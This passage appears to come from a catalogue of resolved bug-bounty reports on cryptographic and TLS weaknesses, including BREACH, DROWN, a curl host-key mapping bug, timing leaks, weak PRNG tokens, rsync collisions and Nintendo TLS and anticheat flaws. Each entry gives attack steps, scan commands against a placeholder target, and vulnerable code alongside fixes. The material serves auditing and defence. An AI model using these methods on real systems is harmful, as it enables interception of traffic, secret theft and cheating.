nmap --script sslv2-drown -p 443 TARGET
Insight — A single legacy protocol endpoint sharing an RSA key can undermine modern TLS on unrelated services (cross-protocol / DROWN). Inventory for ANY SSLv2 anywhere the certificate/key is reused.
Real-world example
BREACH: compression side-channel secret extraction
◆ Info
Specimen #111752 · imgur · awarded · 2 votes · resolved
Program imgurSurface webTag mitm
Root cause
HTTPS response is HTTP-compressed (gzip/deflate) and reflects both attacker-controlled input and a secret (e.g. CSRF token) in the same body; response-length changes under compression leak the secret byte-by-byte to a network attacker.
Method
- Find an HTTPS page served with Content-Encoding: gzip/deflate that reflects a URL/parameter into the body AND contains a secret (CSRF token, session-tied value).
- Inject guesses of the secret prefix via the reflected input and measure compressed response size; correct partial guesses compress smaller.
- Iterate character-by-character to recover the secret.
# Detection tells (all must hold):
# - Response over HTTPS with Content-Encoding: gzip/deflate
# - Reflects attacker input in body
# - Body contains a secret (e.g. name=csrf)
# Mitigations: disable HTTP compression on secret-bearing pages;
# separate/mask secrets (XOR random per-request); randomize CSRF token per request; length-hiding.
Insight — The bug is co-location of reflected input and a secret inside one compressed response. Best detection heuristic: does this HTTPS page compress, reflect my input, and echo a token? Randomizing/masking the token per request (as owncloud did for BREACH #84105) neutralizes it without disabling compression globally.
Real-world example
SSH host-key state downgrade: KNOWN_HOSTS_OTHER mapped to MISSING (curl CVE-2026-9547)
◆ Info
Specimen #3751712 · curl · none · 2 votes · resolved
Program curlSurface networkChain host-key state misclassification -> TOFU auto-accept ->Tag mitm
Root cause
curl's libssh backend groups libssh's SSH_KNOWN_HOSTS_OTHER (host present but the presented key is a different base key type than any recorded one - 'a possible attack') with the first-contact cases, reporting CURLKHMATCH_MISSING instead of MISMATCH.
Method
- Record a known_hosts entry for a host with one key type (e.g. RSA).
- Have the server present a valid key of a DIFFERENT base type for which no entry exists.
- libssh returns SSH_KNOWN_HOSTS_OTHER; curl maps it to MISSING.
- A TOFU CURLOPT_SSH_KEYFUNCTION (MISSING -> add-to-file, MISMATCH -> reject) silently accepts the new key instead of rejecting.
/* buggy mapping in lib/vssh/libssh.c */
case SSH_KNOWN_HOSTS_OTHER: /* should be MISMATCH */
case SSH_KNOWN_HOSTS_NOT_FOUND:
case SSH_KNOWN_HOSTS_UNKNOWN:
keymatch = CURLKHMATCH_MISSING; break; /* TOFU auto-adds -> accepts attacker key type */
Insight — When wrapping a lower library's host-key/verification enum, audit every state mapping: collapsing a 'possible attack' state into a benign 'first contact' state defeats TOFU. Look for switch statements that group an OTHER/CHANGED case with UNKNOWN/NOT_FOUND.
Real-world example
Non-constant-time secret comparison -> timing side-channel
◆ Info
Specimen #107296 · automattic · awarded · 2 votes · resolved
Program automatticSurface webTag webhook
Root cause
A secret/token/HMAC is verified with a normal byte-by-byte string comparison (==) that short-circuits on first mismatch, leaking match length via response timing and enabling incremental recovery.
Method
- Locate verification of a secret/signature/token that uses language-default equality (PHP ==, ===, strcmp) instead of a constant-time compare.
- Measure timing across guesses to recover the secret byte-by-byte where an oracle is practical.
- Fix by using hash_equals()/constant-time comparison.
// vulnerable pattern:
if ($provided_signature == $expected_signature) { ... }
// fix:
if (hash_equals($expected_signature, $provided_signature)) { ... }
Insight — Grep target code for equality checks on signatures/HMACs/API tokens/reset tokens; any non-constant-time compare of a secret is a timing side-channel. Highest value where the comparison is server-side on an attacker-supplied value with low network jitter.
Real-world example
Insecure PRNG (rand()+md5) for security-token generation
◆ Info
Specimen #31171 · concrete5 · none · 2 votes · resolved
Program concrete5Surface web
Root cause
Security tokens are generated with PHP rand() (non-cryptographic, low-entropy, seedable/predictable) wrapped in md5(), instead of a CSPRNG; the token space is predictable and md5 adds no entropy.
Method
- Grep source for rand()/mt_rand()/uniqid()/microtime feeding token/password/reset/nonce generation.
- Confirm the value is used as a security token (auth, reset, CSRF).
- Predict/brute the seed or the small effective space; recommend a CSPRNG.
// vulnerable:
$o .= substr($chars, rand(0, $l), 1); // rand() not crypto-safe; also rand(0,$l) can index out of range
return md5($o);
// fix:
return bin2hex(random_bytes($a)); // or openssl_random_pseudo_bytes()
Insight — md5(rand()) or any hashing of a non-CSPRNG does not create secure tokens - the entropy is bounded by the PRNG. Source-audit heuristic: any token/secret whose generator calls rand/mt_rand/uniqid/time is predictable. Replace with random_bytes/openssl_random_pseudo_bytes.
Real-world example
DROWN cross-protocol Bleichenbacher decryption of TLS
◆ Info
Specimen #119808 · owncloud · none · 1 votes · resolved
Program owncloudSurface networkChain SSLv2+EXPORT Bleichenbacher oracle -> decrypt separate TLTag mitm
Root cause
A server (or ANY server sharing the same RSA key/cert, even on SMTP/IMAP/POP) that still speaks SSLv2 with EXPORT cipher suites acts as a Bleichenbacher RSA padding oracle, letting a MITM decrypt otherwise-secure TLS sessions.
Method
- Test the host and all services sharing its RSA certificate for SSLv2 + EXPORT cipher support (test.drownattack.com or local sslscan).
- Note that the vulnerable SSLv2 endpoint can be a different protocol/host as long as it reuses the RSA key.
- If reachable, the SSLv2 EXPORT handshake oracle enables Bleichenbacher decryption of captured TLS traffic.
# passive detection:
https://test.drownattack.com/?site=TARGET
sslscan --ssl2 TARGET:443
# also scan mail ports reusing the same cert: 25,465,587,993,995
Insight — Key reuse across services is the amplifier: disabling SSLv2 on the web host is insufficient if a mail/other host shares the certificate's RSA key. When auditing, inventory every service that presents the same certificate, not just 443. Special DROWN (CVE-2016-0704) makes the oracle far more efficient on unpatched OpenSSL s2_srvr.c.
Real-world example
rsync dual-checksum (MD5 + Adler32) collision to corrupt synced files
◆ Info
Specimen #20873 · ibb · awarded · 1 votes · resolved
Program ibbSurface otherChain hash collision -> block substitution -> file corruptio
Root cause
rsync matches blocks using a weak rolling Adler32 checksum plus MD5; MD5 collisions can be combined with a rolling-sum collision so a crafted block is accepted as identical, letting an attacker who controls part of a file corrupt or modify other parts during sync.
Method
- Craft two blocks colliding on both the Adler32 rolling checksum and MD5 (identical-prefix MD5 collisions are cheap to generate).
- Place the crafted content where it is mixed with trusted data (VM images, DB files).
- During rsync delta transfer the receiver copies the wrong (attacker) block; with --inplace the final full-file hash cannot recover it, otherwise it degrades to DoS.
# Conceptual: identical-prefix MD5 collision block + matching Adler32 rolling sum.
# Impact amplified when rsync --inplace is used (no safe temp-file replace on final-hash mismatch).
Insight — Weak/broken hash functions in synchronization, dedup, and integrity checks (MD5, CRC/Adler rolling sums) are exploitable when an attacker controls part of the content that is validated only by those hashes. Chosen-prefix MD5 collisions (~2^50) escalate corruption toward targeted modification. Audit sync/dedup/backup tooling for MD5/CRC-based block identity.
Real-world example
TLS library configured without the signature-verification resource skips cert-chain validation
◆ Info
Specimen #894922 · nintendo · awarded · 129 votes · resolved
Program nintendoSurface otherChain forged cert accepted -> MITM/spoof update+eShop+ACT ->Tag account-takeover
Root cause
The 3DS SSL module uses RSA BSAFE MES but never adds the R_VERIFY_RES_SIGNATURE resource to the library's resource list, so certificate-chain signatures are never validated even though the verify flag is set -> any forged cert is accepted.
Method
- Identify the TLS library and its configuration/resource list.
- Check that the signature-verification capability is actually enabled, not just the verify flag.
- Present a self-signed/forged cert for a target host; if accepted, MITM/spoof any endpoint (system update, eShop, ACT/NNID token theft).
Insight — 'verifyPeer=true' does not guarantee signatures are checked. On embedded/custom TLS stacks, a missing capability flag or resource can silently disable signature validation while the API still reports verification enabled. Test by presenting a cert signed by an untrusted CA.
Real-world example
Entropy collapse in seed shuffling -> precompute the whole integrity-check space
◆ Info
Specimen #3042475 · nintendo · awarded · 55 votes · resolved
Program nintendoSurface other
Root cause
An anticheat derives a secondary seed from a strong 2^32 primary seed, but the shuffling logic accidentally collapses the effective space to only 1024 values, so every valid integrity hash for the unmodified binary can be precomputed.
Method
- Reverse the seed-derivation/shuffle used for the secondary integrity seed.
- Enumerate the (tiny) effective seed space and precompute every valid check hash offline.
- Hook the integrity function and feed the precomputed 'pre-approved' answers from a saved file, then patch live code freely.
Insight — When a PRNG/seed feeds an integrity or anti-tamper check, measure the EFFECTIVE entropy after all transforms, not the nominal seed size. Modular reductions, truncation, or buggy shuffles routinely collapse 2^32 to a precomputable pool -> attacker builds a rainbow table of valid responses.
